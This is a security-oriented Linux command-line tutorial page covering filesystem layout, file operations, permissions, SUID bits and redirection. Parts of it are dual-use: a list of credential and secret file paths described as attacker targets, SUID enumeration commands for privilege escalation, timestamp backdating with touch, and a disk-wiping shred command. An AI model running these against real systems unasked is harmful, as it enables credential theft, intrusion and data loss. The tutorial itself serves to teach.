Linux Mastery¶
Table of Contents¶
Foundation Level¶
- Why Linux Dominates Security Operations
- Understanding the Linux Filesystem Hierarchy
- Security-Critical Filesystem Paths
- Terminal Navigation Fundamentals
- File and Directory Operations
- Viewing and Manipulating File Content
- Understanding Linux Permissions Model
- Permission Manipulation with chmod
- Ownership Management with chown
- Special Permission Bits SUID SGID Sticky
- Finding SUID Binaries for Privilege Escalation
- Links Symbolic and Hard
- File Attributes and Extended Attributes
- Basic Input Output Redirection
- Piping Commands Together
Text Processing and Analysis¶
- grep Pattern Matching and Search
- Regular Expressions in Linux
- awk Text Processing Engine
- sed Stream Editor
- cut Column Extraction
- sort and uniq Data Organization
- tr Character Translation
- wc Word and Line Counting
- diff and patch File Comparison
- Building Analysis Pipelines
Process and System Management¶
- Understanding Linux Processes
- Process Viewing with ps
- Real-time Monitoring top htop
- Process Hierarchy and pstree
- Signals and Process Control
- Background and Foreground Jobs
- Process Priority nice and renice
- Terminal Multiplexers screen and tmux
- Process Monitoring lsof and fuser
- System Call Tracing with strace
Network Operations¶
- Network Interface Configuration
- Network Connectivity Testing
- Socket Statistics ss and netstat
- DNS Resolution Tools
- HTTP Operations curl and wget
- SSH Fundamentals and Key Management
- SSH Tunneling and Port Forwarding
- SSH ProxyJump and Config
- Packet Capture with tcpdump
- Firewall Management iptables and ufw
System Administration¶
- Package Management apt yum dnf pacman
- Compiling from Source
- Systemd Service Management
- Journal Logs with journalctl
- Creating Custom Systemd Services
- User and Group Management
- Sudo Configuration and Security
- Shell Scripting Fundamentals
- Advanced Bash Scripting
- Log Analysis and Forensics
- Security Hardening SSH
- Firewall Configuration Best Practices
- File Integrity Monitoring AIDE
- Intrusion Detection with Fail2Ban
- Kernel Parameters and sysctl
- Linux Firewall Frameworks
- Disk Tables and Filesystem Internals
Shittie Topics¶
- Container Operations with Docker
- Virtualization with KVM and QEMU
- Cloud and Remote System Operations
- System Performance and Monitoring
- Backup and Recovery Strategies
- Troubleshooting Common Issues
- Shell Customization and Productivity
- Security Tools and Practices
- Development Environment Setup
- Practice Exercises
- Common Mistakes to Avoid
- Learning Resources and Next Steps
Why Linux Dominates Security Operations¶
Linux isn't optional anymore
Every penetration testing framework , every incident response platform , every security tool that matters runs on Linux first because the developers who understand exploitation and defense work exclusively in this environment where system internals are transparent and accessible without proprietary restrictions
The Tooling Ecosystem Lives Here
Metasploit runs without compatibility nightmares
Burp Suite operates natively with full performance. Wireshark captures packets at line rate. Nmap scans complete in milliseconds not minutes. tcpdump filters work exactly as documented because the kernel networking stack is exposed and documented and every security professional who builds tools targets Linux as the primary deployment environment for offensive and defensive operations
Command Line is the Only Real Interface
GUIs hide what you need to see
When you SSH into a compromised server at 3AM during active incident response , you won't find a desktop environment with pretty icons waiting for your mouse clicks. You'll have a terminal prompt and your knowledge of command line operations and if you don't know how to navigate the filesystem , analyze logs , control processes , and manipulate network configurations through text commands you're completely useless in that critical moment
System Transparency and Access
Every configuration is readable text
No registry hives hiding settings in binary blobs. No proprietary databases requiring special tools to parse. Config files live in /etc/ as human-readable text. Process information exposes through /proc/. Kernel parameters adjust via /sys/. This transparency means you understand exactly what the system is doing and how to modify its behavior for your testing or defensive requirements
Zero Cost Complete Control
Deploy Linux everywhere without licensing fees
Build a 500-node penetration testing lab without budget approval for operating system licenses. Modify kernel source code to add custom syscall hooks for malware analysis. Redistribute your customized security distribution without legal concerns. This freedom matters when you're building sophisticated testing infrastructure or conducting large-scale security research that requires programmatic control over operating system
behavior
The Internet Infrastructure Foundation
Web servers run Linux
Database clusters run Linux. Cloud infrastructure runs Linux. Container orchestration runs Linux. Network appliances run Linux. IoT devices run Linux. Android phones run Linux kernel. When you're attacking a web application , you're almost certainly targeting a Linux server and understanding the target operating system gives you insight into default configurations , common misconfigurations , privilege escalation vectors , and persistence mechanisms that actually work in production environments
Understanding the Linux Filesystem Hierarchy¶
Forget Windows drive letters completely
Linux uses a single unified tree starting from / (root) where everything hangs off this one point including every file , every directory , every device , every process representation because the Unix philosophy treats everything as files accessible through a hierarchical namespace that makes system navigation logical once you understand the standard directory structure
Core Directory Structure¶
/ (Root Directory) The absolute top of everything
Only root user has write permissions here by default and if an attacker gains write access to / they essentially own your entire system because they can replace critical binaries or modify boot configuration or plant persistent malware at the foundation level where most security tools don't look for threats
/bin (Essential User Binaries) Critical commands required for system recovery
Tools like ls , cp , cat , bash , grep , ps live here because these binaries must be available even when the system boots into single-user mode for emergency maintenance and they need to function before /usr/ is even mounted because system recovery depends on having basic command-line tools accessible in minimal boot environments
/sbin (System Administration Binaries) Root-privileged system tools
Commands like fdisk , ip , iptables , reboot , shutdown , init require root privileges to actually modify system state. Regular users can often execute these binaries but they won't have effective permissions to change network configuration or partition disks or reboot the system without sudo elevation or direct root access
/etc (Configuration Everything) The system brain lives here
Every major service stores configuration as human-readable text files in /etc/ and subdirectories. No binary blobs hiding settings. No proprietary formats requiring special parsers.
Key configuration files:
/etc/passwd- User account information (world-readable but shouldn't contain actual passwords since 1990s)/etc/shadow- Real password hashes (root-only read access where the actual authentication secrets live)/etc/group- Group definitions and membership/etc/sudoers- Sudo privilege configuration (misconfigured sudoers equals instant privilege escalation)/etc/ssh/sshd_config- SSH daemon configuration (weak settings here mean compromised remote access)/etc/crontab- System-wide scheduled tasks (persistence goldmine for attackers)/etc/fstab- Filesystem mount configuration/etc/hosts- Static hostname to IP mappings/etc/resolv.conf- DNS resolver configuration/etc/network/interfaces- Network interface configuration (Debian-based)
/home (User Territories) Personal user directories
Each user gets /home/username/ as their writable space and this is the only location where regular users can create files by default which makes home directories critical for security because they often contain SSH private keys , browser credential databases , bash history files , application configuration with API tokens , and other sensitive data that attackers target immediately after initial access
/root (Administrator Home) Root user's home directory
Completely separate from /home/ for security isolation purposes and when you escalate privileges to root this is where you land. Often contains administrative scripts , credentials that admins think are "safe" because they're in root's home , and configuration for root-only tools that might reveal additional attack surface or credential material
/tmp (The Wild West) World-writable temporary storage
Literally anyone can write files here which makes /tmp/ the default staging ground for attackers who need to download tools , compile exploits , or store exfiltrated data temporarily. Many systems clear /tmp/ on reboot but not all and organizations often monitor this directory for suspicious binaries or scripts but it remains essential for post-exploitation operations
/var (Variable Runtime Data) Files that change during operation
This directory tree grows and shrinks as services run and applications execute and log files accumulate
Critical subdirectories:
/var/log/- System logs (the forensic goldmine where authentication , errors , and system events get recorded)/var/www/- Default web server document root for Apache and Nginx/var/lib/- Application state and databases/var/spool/- Print queues , mail queues , cron job output/var/tmp/- Temporary files that survive reboots (unlike/tmp/)/var/cache/- Application cache data
Security teams live in /var/log/ when hunting intrusions
Attackers try to clear /var/log/ to hide their tracks or manipulate log files to remove evidence of compromise
/usr (Secondary Hierarchy) Read-only user data and programs
Most of your installed software lives under /usr/ in a hierarchy that mirrors the root filesystem structure
/usr/bin/- Most command-line programs (python , gcc , curl , nmap , john)/usr/sbin/- Non-essential system administration binaries/usr/local/- Locally compiled software (separate from package manager)/usr/share/- Architecture-independent shared data/usr/share/wordlists/- On Kali this is where rockyou.txt and other password lists live/usr/lib/- Libraries for binaries in/usr/bin//usr/include/- Header files for C programming/usr/src/- Source code for kernel and other packages
/opt (Optional Software) Third-party applications install here
Commercial tools , custom applications , security tools that want to stay self-contained typically go in /opt/toolname/ to avoid polluting the standard filesystem hierarchy and to make uninstallation clean by simply removing one directory
/boot (Boot Loader Files) Kernel and boot essentials
The files needed to actually start the operating system before the root filesystem is mounted including kernel images , initial ramdisk , GRUB configuration. Attacking /boot/ can brick a system or establish boot-level persistence that survives OS reinstalls because the bootloader executes before any security tools load
/dev (Device Files) Everything is a file in Linux
Even hardware appears as files in /dev/ using block devices and character devices
Important device files:
/dev/sda,/dev/nvme0n1- Storage devices/dev/null- The bit bucket (discards all data written to it)/dev/zero- Infinite stream of null bytes/dev/random,/dev/urandom- Random number generators/dev/tcp/,/dev/udp/- Not real files but bash uses these for network connections
/proc (Process Information Virtual Filesystem) Kernel and process data exposed as files
Nothing in /proc/ actually exists on disk because it's all generated by the kernel in real-time as you read the files
Critical /proc/ paths:
/proc/cpuinfo- CPU details and capabilities/proc/meminfo- Memory statistics/proc/mounts- Currently mounted filesystems/proc/version- Kernel version (enumeration target)/proc/[pid]/- Per-process information directories/proc/[pid]/cmdline- Command that started the process/proc/[pid]/environ- Environment variables (credentials often leak here)/proc/[pid]/fd/- Open file descriptors/proc/[pid]/maps- Memory mappings/proc/[pid]/exe- Symbolic link to executable
/sys (System Device Information) Hardware and kernel module control
Similar to /proc/ but focused on hardware devices and kernel modules rather than processes. Used to control hardware parameters and
kernel module behavior at runtime
/run (Runtime Variable Data) Created fresh every boot
Contains PID files , socket files , and runtime information that processes need to communicate. Systemd uses /run/ heavily for managing service state and storing runtime data that doesn't persist across reboots
/lib and /lib64 (Shared Libraries) Essential shared libraries
Binary libraries needed by programs in /bin/ and /sbin/ to function. The /lib64/ directory exists on 64-bit systems to separate 64-bit libraries from legacy 32-bit libraries
/media and /mnt (Mount Points) Removable media and temporary mounts
Modern systems auto-mount USB drives under /media/username/ while /mnt/ serves as a temporary mount point for administrators manually mounting filesystems during maintenance or testing
/srv (Service Data) Site-specific data for services
Web applications , FTP data , or other service-specific content can live here though many distributions don't use /srv/ preferring /var/www/ for web content instead
Security-Critical Filesystem Paths¶
When doing privilege escalation enumeration or forensic analysis , these paths are your high-value intelligence targets
Authentication and Authorization
/etc/shadow # Password hashes (requires root to read)
/etc/passwd # User account database
/etc/group # Group definitions
/etc/gshadow # Group password hashes
/etc/sudoers # Sudo configuration
/etc/sudoers.d/* # Additional sudo rules
/etc/security/ # PAM security configuration
Scheduled Tasks and Persistence
/etc/crontab # System cron jobs
/etc/cron.d/* # Additional cron jobs
/etc/cron.daily/ # Daily execution scripts
/etc/cron.hourly/ # Hourly execution scripts
/etc/cron.weekly/ # Weekly execution scripts
/etc/cron.monthly/ # Monthly execution scripts
/var/spool/cron/crontabs/* # User-specific cron jobs
/etc/systemd/system/ # SystemD service units
/etc/init.d/ # Legacy init scripts
/etc/rc.local # Legacy boot script
SSH Configuration and Keys
/etc/ssh/sshd_config # SSH daemon configuration
~/.ssh/id_rsa # Private SSH key (user)
~/.ssh/id_ed25519 # Modern private SSH key
~/.ssh/authorized_keys # Authorized public keys
~/.ssh/known_hosts # Previously connected hosts
~/.ssh/config # SSH client configuration
/root/.ssh/ # Root's SSH directory
System Logs and Forensics
/var/log/auth.log # Authentication events (Debian/Ubuntu)
/var/log/secure # Authentication events (RHEL/CentOS)
/var/log/syslog # General system log
/var/log/messages # General system log (RHEL/CentOS)
/var/log/kern.log # Kernel messages
/var/log/boot.log # Boot messages
/var/log/apache2/access.log # Apache access logs
/var/log/apache2/error.log # Apache error logs
/var/log/nginx/access.log # Nginx access logs
/var/log/nginx/error.log # Nginx error logs
/var/log/mysql/error.log # MySQL error log
~/.bash_history # Command history (all users)
~/.zsh_history # Zsh command history
Network Configuration
/etc/network/interfaces # Network config (Debian)
/etc/sysconfig/network-scripts/ # Network config (RHEL)
/etc/netplan/ # Network config (Ubuntu 18.04+)
/etc/hosts # Static host mappings
/etc/resolv.conf # DNS configuration
/etc/hostname # System hostname
Process and Runtime Information
/proc/[pid]/cmdline # Process command line
/proc/[pid]/environ # Process environment variables
/proc/[pid]/cwd # Process current directory
/proc/[pid]/exe # Process executable path
/proc/[pid]/fd/ # Process open file descriptors
/proc/net/tcp # Active TCP connections
/proc/net/udp # Active UDP connections
/proc/sys/net/ # Network kernel parameters
Application Credentials and Secrets
~/.aws/credentials # AWS credentials
~/.aws/config # AWS configuration
~/.docker/config.json # Docker registry credentials
~/.kube/config # Kubernetes configuration
~/.config/ # Application configurations
~/.local/share/ # Application data
/opt/*/config/ # Third-party app configs
/var/www/.env # Web app environment variables
Terminal Navigation Fundamentals¶
The terminal is your primary weapon
Master navigation to move through filesystems rapidly during enumeration , incident response , or system administration without wasting time clicking through GUI file managers that slow you down and hide important details about permissions , ownership , and file attributes
pwd (Print Working Directory)
Where am I right now ?
pwd
# Output: /home/ox_1ris/tools/exploits
cd /var/log
pwd
# Output: /var/log
Always know your current location
Run pwd when you're disoriented after multiple directory changes or when scripts change directories unexpectedly and you need to verify the current working directory before executing commands that operate on relative paths
cd (Change Directory)
Move through the filesystem tree
cd /var/log # Absolute path from root
cd ../.. # Relative path (up two levels)
cd ~ # Jump to home directory
cd - # Return to previous directory (super useful)
cd # Also goes to home (shorthand)
cd /etc/apache2/sites-enabled # Deep absolute path
cd ~/Documents/projects/ # Home-relative path
The cd - command is gold
When you're jumping between two directories repeatedly during analysis or configuration , use cd - to toggle back and forth without retyping full paths every single time
ls (List Directory Contents)
See what's around you with precision
ls # Basic listing
ls -l # Long format (permissions , owner , size , date)
ls -la # Include hidden files (starting with .)
ls -lh # Human-readable file sizes (KB , MB , GB)
ls -lt # Sort by modification time (newest first)
ls -latr # All files , long , sorted by time , reversed (oldest first)
ls -lS # Sort by file size (largest first)
ls -R # Recursive (show subdirectories)
ls -i # Show inode numbers
ls -d */ # List only directories
ls *.txt # Wildcard filter
ls -l /etc/*.conf # List all .conf files in /etc/
That -latr combination is critical
When investigating compromised systems , use ls -latr to see what files changed recently in chronological order from oldest to newest which helps identify when an attacker modified configurations or dropped malicious files
File Globbing Patterns
ls *.log # All files ending in .log
ls test* # All files starting with test
ls file?.txt # Single character wildcard (file1.txt , file2.txt)
ls file[0-9].txt # Character range (file0.txt through file9.txt)
ls *.{jpg,png,gif} # Multiple extensions
File and Directory Operations¶
File manipulation is constant work
You need to create , copy , move , rename , and delete files hundreds of times per day when configuring systems , analyzing malware samples , or managing penetration testing artifacts
touch (Create Empty Files and Update Timestamps)
Instantly create files or modify timestamps
touch newfile.txt # Create empty file
touch file1.txt file2.txt file3.txt # Create multiple
touch /tmp/test # Create in specific location
touch -t 202301011200 evidence.txt # Set specific timestamp
touch -a file.txt # Update only access time
touch -m file.txt # Update only modification time
touch -c file.txt # Don't create if doesn't exist
Timestamp manipulation matters
Attackers use touch -t to backdate file timestamps and hide evidence of recent modifications while defenders watch for files with suspicious timestamps during forensic timeline analysis
mkdir (Make Directory)
Create directory structures
mkdir newdir # Single directory
mkdir dir1 dir2 dir3 # Multiple directories
mkdir -p path/to/deeply/nested/directory # Create parent directories
mkdir -m 700 private # Create with specific permissions
mkdir -p ~/tools/{exploits,payloads,loot} # Create multiple with brace expansion
The -p flag prevents errors
When creating nested directory structures in scripts , use mkdir -p so the command succeeds whether parent directories exist or not instead of failing with "no such file or directory" errors
cp (Copy Files and Directories)
Duplicate files with various options
cp source.txt destination.txt # Copy file
cp file.txt /tmp/ # Copy to directory
cp -r directory/ /backup/ # Recursive copy for directories
cp -a /etc/nginx/ /backup/nginx/ # Archive mode (preserves everything)
cp -p file.txt dest/ # Preserve timestamps and permissions
cp -u file.txt dest/ # Update only if source is newer
cp -v file.txt dest/ # Verbose (show what's being copied)
cp *.txt backup/ # Copy all .txt files
cp file.{txt,bak} # Create file.bak from file.txt
Archive mode is critical for backups
Use cp -a when backing up configurations before modifications because it preserves permissions , ownership , timestamps , and symbolic links exactly which prevents permission-related breakage after restoring
mv (Move and Rename)
Move or rename files atomically
mv oldname.txt newname.txt # Rename file
mv file.txt /tmp/ # Move to directory
mv *.log /var/log/archive/ # Move multiple files
mv -i important.conf backup/ # Interactive (prompt before overwrite)
mv -v file.txt dest/ # Verbose output
mv -n file.txt dest/ # No-clobber (don't overwrite)
mv source/ dest/ # Rename directory
Move is atomic on same filesystem
When you mv a file to a new name on the same filesystem partition , it's an atomic operation that just updates directory entries without copying data which makes it instant even for huge files and safe from interruption
rm (Remove Files)
Delete files permanently
rm file.txt # Remove file
rm -r directory/ # Remove directory and contents
rm -f locked.txt # Force removal (no confirmation)
rm -i important.txt # Interactive (confirm each deletion)
rm -v file.txt # Verbose
rm -rf /tmp/old_project/ # Nuclear option (DANGEROUS)
rm *.tmp # Remove all .tmp files
rm -rf ~/.cache/* # Clear cache
There is no undelete
Linux doesn't have a recycle bin by default so rm is permanent deletion and rm -rf can destroy entire directory trees in milliseconds without confirmation which makes it powerful and incredibly dangerous if you mistype the path
shred (Secure File Deletion)
Overwrite file data before deletion
shred -u -z -n 7 sensitive.txt # 7 passes , zeros , then delete
shred -u -v credentials.key # Verbose secure deletion
shred -n 3 /dev/sdb # Wipe entire disk
shred -vfz file.txt # Verbose , force , zero
Use shred for sensitive data
Normal rm only removes directory entries leaving data intact on disk and recoverable with forensic tools. shred overwrites file contents multiple times before unlinking which securely destroys sensitive data like private keys or credential files
File Wildcards and Expressions
rm test* # Remove all files starting with test
cp *.{txt,md} backup/ # Copy .txt and .md files
mv project_[0-9].log archive/ # Move numbered log files
rm -rf temp temp[0-9] temp_* # Multiple patterns
Viewing and Manipulating File Content¶
Reading file contents is constant
You need to examine configuration files , analyze log entries , review source code , inspect malware samples , and verify file contents throughout security operations
cat (Concatenate and Display)
Dump entire file to terminal
cat /etc/passwd # Display file
cat file1.txt file2.txt # Display multiple sequentially
cat file1.txt file2.txt > combined.txt # Concatenate files
cat > newfile.txt # Create file (Ctrl+D to finish)
cat >> file.txt # Append to file
cat -n file.txt # Number all lines
cat -b file.txt # Number non-empty lines
cat -A file.txt # Show all characters (tabs , newlines)
Good for small files only
Using cat on large log files causes thousands of lines to scroll past faster than you can read which is useless for analysis. Use pagers for anything longer than one terminal screen
less (Interactive Pager)
Navigate large files like a professional
less /var/log/syslog # Open file in pager
less +F /var/log/auth.log # Follow mode (like tail -f)
less -N file.txt # Show line numbers
less -S file.txt # Chop long lines (no wrap)
less +G file.txt # Start at end of file
Navigation inside less:
SpaceorPgDn- Next pageborPgUp- Previous page/pattern- Search forward for pattern?pattern- Search backward for patternn- Next search matchN- Previous search matchg- Jump to beginningG- Jump to endq- Quit
Use less for all log analysis
The search capability with /pattern makes finding specific error messages or IP addresses instant while the ability to scroll backward lets you examine context around interesting events
more (Simple Pager)
Basic pager (less featureful than less)
more file.txt # Basic paging
more -d file.txt # Display help prompts
Less is more than more
The less command has more features than more despite the ironic naming. Use less for everything unless you're on an ancient system that doesn't have it installed
head (Show Beginning)
Display first lines of files
head file.txt # First 10 lines
head -n 20 access.log # First 20 lines
head -c 500 binary # First 500 bytes
head -n -10 file.txt # All except last 10 lines
head -n 5 *.log # First 5 lines of each log file
Perfect for quick file inspection
When you need to verify file format or see headers without opening the entire file in an editor
tail (Show End)
Display last lines of files
tail file.txt # Last 10 lines
tail -n 50 error.log # Last 50 lines
tail -f /var/log/auth.log # Follow mode (watch in real-time)
tail -F /var/log/syslog # Follow with file rotation handling
tail -n +10 file.txt # Start from line 10 to end
tail -n 100 -f application.log # Last 100 lines then follow
The -f flag is essential
During active testing or incident response , use tail -f /var/log/auth.log to watch authentication attempts in real-time as they happen instead of repeatedly running commands to check for new entries
wc (Word Count)
Count lines , words , characters
wc file.txt # Lines , words , bytes
wc -l file.txt # Count lines only
wc -w file.txt # Count words
wc -c file.txt # Count bytes
wc -m file.txt # Count characters
cat /etc/passwd | wc -l # Count users
Quick statistics for analysis
Count failed login attempts with grep "Failed" auth.log | wc -l or count unique IPs with sort -u | wc -l
strings (Extract Text from Binary)
Pull readable strings from binary files
strings binary_file # Extract ASCII strings
strings -n 10 malware # Minimum 10 characters
strings -e l binary # 16-bit little-endian
strings -a binary | grep -i password # Search for keywords
Critical for mal
ware analysis
Running strings on suspicious binaries often reveals hardcoded IP addresses , URLs , credentials , or command strings that indicate malicious functionality
hexdump and xxd (Hex Viewers)
View binary file contents in hexadecimal
hexdump -C file.bin # Canonical hex-dump
xxd file.bin # Hex dump with ASCII
xxd -r dump.txt output.bin # Reverse (hex to binary)
hexdump -n 100 -C binary # First 100 bytes
Understanding Linux Permissions Model¶
Linux permissions control everything
Every file and directory has permissions determining who can read , write , or execute and if you mess this up you either lock yourself out of required files or grant attackers access to sensitive system resources they shouldn't reach
Three Permission Classes
Every file has three distinct user classes with separate permissions
- Owner (u) - The user who owns the file
- Group (g) - Users in the file's group
- Others (o) - Everyone else on the system
Three Permission Types
Each class can have three types of access
- Read (r) - Value 4 - View file contents or list directory entries
- Write (w) - Value 2 - Modify file contents or create/delete files in directory
- Execute (x) - Value 1 - Run file as program or enter directory
Reading Permission Strings
When you run ls -l you see permission strings like this
-rwxr-xr-- 1 ox_1ris security 4096 Nov 28 15:00 exploit.sh
Breaking down the permission string:
-= File type (- for regular file , d for directory , l for symbolic link , c for character device , b for block device)rwx= Owner has read write executer-x= Group has read and execute (no write)r--= Others have read only
Octal Permission Notation
Each permission set converts to an octal digit from 0-7
rwx = 4+2+1 = 7 (full access)
rw- = 4+2+0 = 6 (read write)
r-x = 4+0+1 = 5 (read execute)
r-- = 4+0+0 = 4 (read only)
-wx = 0+2+1 = 3 (write execute)
-w- = 0+2+0 = 2 (write only)
--x = 0+0+1 = 1 (execute only)
--- = 0+0+0 = 0 (no access)
Common Permission Patterns
755 # rwxr-xr-x - Standard for executables (owner full , others read+execute)
644 # rw-r--r-- - Standard for text files (owner write , others read)
600 # rw------- - Private files like SSH keys (owner only)
700 # rwx------ - Private directories (owner only)
400 # r-------- - Read-only by owner (immutable configs)
777 # rwxrwxrwx - World-writable (security nightmare , avoid always)
000 # --------- - No permissions for anyone (system may still allow owner)
Directory Permission Behavior
Directory permissions work differently than files
- r (read) - List directory contents with
ls - w (write) - Create or delete files inside directory
- x (execute) - Enter directory with
cdand access files inside
You need execute permission on a directory to access any files inside even if you have read permission on those files
Permission Manipulation with chmod¶
Change file permissions using numeric or symbolic notation
Numeric (Octal) Method
chmod 755 script.sh # rwxr-xr-x (standard executable)
chmod 600 ~/.ssh/id_rsa # rw------- (private SSH key)
chmod 644 config.txt # rw-r--r-- (readable config)
chmod 700 ~/.ssh # rwx------ (SSH directory)
chmod 400 /etc/sensitive.conf # r-------- (read-only config)
chmod 666 shared.txt # rw-rw-rw- (shared file)
chmod 777 /tmp/share # rwxrwxrwx (DANGEROUS world writable)
Symbolic Method
chmod u+x script.sh # Add execute for owner
chmod g-w file.txt # Remove write from group
chmod o+r document.txt # Add read for others
chmod a+x program # Add execute for all (a = all)
chmod u=rwx,g=rx,o=r file.txt # Set specific permissions
chmod +x script.sh # Add execute to current permissions
chmod -R 755 directory/ # Recursive (all files in directory)
chmod u+s program # Add SUID bit (covered next section)
chmod g+s directory/ # Add SGID bit
chmod +t /tmp/shared # Add sticky bit
Practical Security Examples
# Secure SSH keys
chmod 700 ~/.ssh
chmod 600 ~/.ssh/id_rsa
chmod 644 ~/.ssh/id_rsa.pub
chmod 600 ~/.ssh/authorized_keys
chmod 600 ~/.ssh/config
# Secure web directory
chmod 755 /var/www/html
chmod 644 /var/www/html/*.html
chmod 644 /var/www/html/*.php
# Lock down sensitive files
chmod 600 ~/.aws/credentials
chmod 600 ~/.kube/config
chmod 400 /etc/shadow
# Make scripts executable
find ~/scripts -name "*.sh" -exec chmod +x {} \;
Recursive Permission Changes
chmod -R 755 /var/www/html # All files and directories
find /path -type f -exec chmod 644 {} \; # Files only
find /path -type d -exec chmod 755 {} \; # Directories only
Never use chmod -R 777 on anything
This grants full permissions to everyone which creates massive security holes allowing any user to read sensitive data , modify critical files , or execute malicious code
Ownership Management with chown¶
Change file ownership and group
Basic Syntax
chown user file.txt # Change owner only
chown user:group file.txt # Change owner and group
chown :group file.txt # Change group only (same as chgrp)
chown -R user:group directory/ # Recursive
chown --reference=ref.txt target.txt # Match permissions from another file
Common Ownership Scenarios
# Fix web server ownership
chown -R www-data:www-data /var/www/html
# Change ownership of home directory
chown -R username:username /home/username
# Root ownership for system files
chown root:root /etc/ssh/sshd_config
chown root:root /usr/local/bin/admin_tool
# Application ownership
chown -R mysql:mysql /var/lib/mysql
chown -R postgres:postgres /var/lib/postgresql
Security Implications
Only root can change file ownership
Regular users can change group ownership to groups they belong to but only root can change the owner field which prevents users from giving away files to hide their actions or bypass quotas
Combining with chmod
# Secure configuration file
chown root:root /etc/important.conf
chmod 600 /etc/important.conf
# Web application setup
chown -R www-data:www-data /var/www/app
find /var/www/app -type d -exec chmod 755 {} \;
find /var/www/app -type f -exec chmod 644 {} \;
Special Permission Bits SUID SGID Sticky¶
Beyond basic read write execute , Linux has three special permission bits that modify execution behavior
SUID (Set User ID) - The Danger Zone
When set on an executable , the program runs with the permissions of the file owner instead of the user who executes it
chmod u+s /usr/bin/program # Add SUID
chmod 4755 /usr/bin/program # Octal (4 = SUID bit)
ls -l /usr/bin/passwd # Shows -rwsr-xr-x (note the 's')
Real-world SUID examples:
ls -l /usr/bin/passwd # -rwsr-xr-x (allows users to change passwords)
ls -l /usr/bin/sudo # -rwsr-xr-x (elevate privileges)
ls -l /bin/ping # -rwsr-xr-x (send ICMP as root)
Why SUID matters for security
If you find a SUID binary owned by root that has a vulnerability like buffer overflow or command injection , you can exploit it to execute code as root which equals instant privilege escalation to full system control
SGID (Set Group ID)
Behavioral changes depend on file type
On executables:
chmod g+s program # Program runs as file's group
chmod 2755 program # Octal (2 = SGID bit)
On directories (more common usage):
chmod g+s /shared/project # New files inherit directory's group
chmod 2775 /shared/team # Octal notation
Directory SGID is useful for shared project directories where multiple users need to collaborate and all files should belong to the project group regardless of which user creates them
Sticky Bit
Prevents users from deleting or renaming files they don't own in shared directories
chmod +t /shared/public # Add sticky bit
chmod 1777 /tmp # Octal (1 = sticky bit)
ls -ld /tmp # Shows drwxrwxrwt (note the 't')
The /tmp directory has sticky bit set
This allows all users to create files in /tmp/ (world-writable) but prevents users from deleting other users' files even though they have write permission to the directory itself
Octal Representation with Special Bits
4755 # SUID + rwxr-xr-x
2755 # SGID + rwxr-xr-x
1777 # Sticky + rwxrwxrwx
6755 # SUID + SGID + rwxr-xr-x
7755 # SUID + SGID + Sticky + rwxr-xr-x
Finding SUID Binaries for Privilege Escalation¶
SUID binaries are primary privilege escalation vectors
Attackers enumerate them immediately after gaining initial access to find vulnerable SUID programs that can escalate to root
Finding All SUID Binaries
find / -perm -4000 -type f 2>/dev/null # All SUID files
find / -perm -u=s -type f 2>/dev/null # Alternative syntax
find / -user root -perm -4000 -type f 2>/dev/null # SUID files owned by root
find / -perm -4000 -type f -exec ls -la {} \; 2>/dev/null # Detailed listing
Finding SGID Binaries
find / -perm -2000 -type f 2>/dev/null # All SGID files
find / -perm -g=s -type f 2>/dev/null # Alternative syntax
Finding Both SUID and SGID
find / -perm -6000 -type f 2>/dev/null # SUID or SGID
find / \( -perm -4000 -o -perm -2000 \) -type f 2>/dev/null # Either bit set
Filtering Known Safe Binaries
# Find SUID binaries not in standard locations
find / -perm -4000 -type f 2>/dev/null | grep -v "/usr/bin\|/bin\|/usr/sbin"
# Compare against baseline
find / -perm -4000 -type f 2>/dev/null | sort > current_suid.txt
diff baseline_suid.txt current_suid.txt
Exploitable SUID Patterns
Look for SUID binaries that:
- Execute shell commands without sanitization
- Allow file writes as root
- Load libraries from writable directories
- Have known CVEs (check version)
- Are custom applications (not standard OS tools)
Common Vulnerable SUID Patterns
# Programs that might spawn shells
find / -perm -4000 -name "*sh*" 2>/dev/null
find / -perm -4000 -name "python*" 2>/dev/null
# Check for world-writable SUID (extremely dangerous)
find / -perm -4002 -type f 2>/dev/null
GTFOBins for SUID Exploitation
Many standard SUID binaries can escalate privileges
Check GTFOBins database for exploitation methods for binaries like:
nmap(old versions with interactive mode)vim,vi(can execute shell commands)find(can execute arbitrary commands)cp(can overwrite files as root)less,more(can spawn shells)
Links Symbolic and Hard¶
Linux supports two types of links that create references to files
Hard Links
A hard link creates another directory entry pointing to the same inode
ln source.txt hardlink.txt # Create hard link
ls -li source.txt hardlink.txt # Show same inode number
Hard link characteristics - both names point to same physical data , deleting one doesn't affect the other , cannot span filesystems , cannot link to directories , file only deleted when all hard links removed
Symbolic Links (Symlinks)
A symbolic link is a special file containing a path to another file
ln -s /path/to/original.txt link.txt # Create symlink
ln -s /usr/local/bin/python3 /usr/bin/python # Version management
ls -l link.txt # Shows -> target
readlink link.txt # Show symlink target
Symlink characteristics - can span filesystems , can link to directories , breaks if target moved or deleted
Finding Broken Symlinks
find / -xtype l 2>/dev/null # Find broken symlinks
find / -type l ! -exec test -e {} \; -print 2>/dev/null
File Attributes and Extended Attributes¶
Beyond standard permissions , Linux files have additional attributes controlling filesystem behavior
Listing and Setting Attributes
lsattr file.txt # View current attributes
chattr +i important.conf # Make immutable
chattr -i important.conf # Remove immutable
chattr +a logfile.log # Append-only mode
chattr +c data.txt # Enable compression
chattr +s secure.key # Secure deletion
Critical Attributes for Security
Immutable files cannot be modified or deleted even by root until the attribute is removed
chattr +i /etc/passwd
chattr +i /etc/shadow
chattr +i /etc/sudoers
chattr +i /boot/grub/grub.cfg
Append-only protects logs from manipulation while allowing writes
chattr +a /var/log/auth.log
chattr +a /var/log/syslog
Detecting Malicious Attribute Usage
Attackers set immutable on backdoors to prevent removal
find /tmp -type f -exec lsattr {} \; | grep "\-\-i"
find /var/www -type f -exec lsattr {} \; | grep "\-\-i"
lsattr -R /home | grep "^\-\-\-\-i"
Basic Input Output Redirection¶
Every Linux process has three standard streams you can redirect
Standard Stream Numbers
- stdin (0) - Standard input
- stdout (1) - Standard output
- stderr (2) - Standard error
Output Redirection Operators
command > file.txt # Overwrite file with stdout
command >> file.txt # Append stdout to file
command 2> error.log # Redirect stderr to file
command > out.log 2>&1 # Redirect both to same file
command &> combined.log # Shorthand for both streams
command > /dev/null 2>&1 # Discard all output
Input Redirection
command < input.txt # Read from file
command << EOF # Here document
multi
line
input
EOF
command <<< "single line" # Here string
Practical Security Examples
nmap 192.168.1.0/24 > scan_results.txt 2>&1
find / -name "*.conf" 2>/dev/null > configs.txt
grep "Failed" /var/log/auth.log >> failed_logins.txt
./exploit.sh > output.log 2> errors.log
Piping Commands Together¶
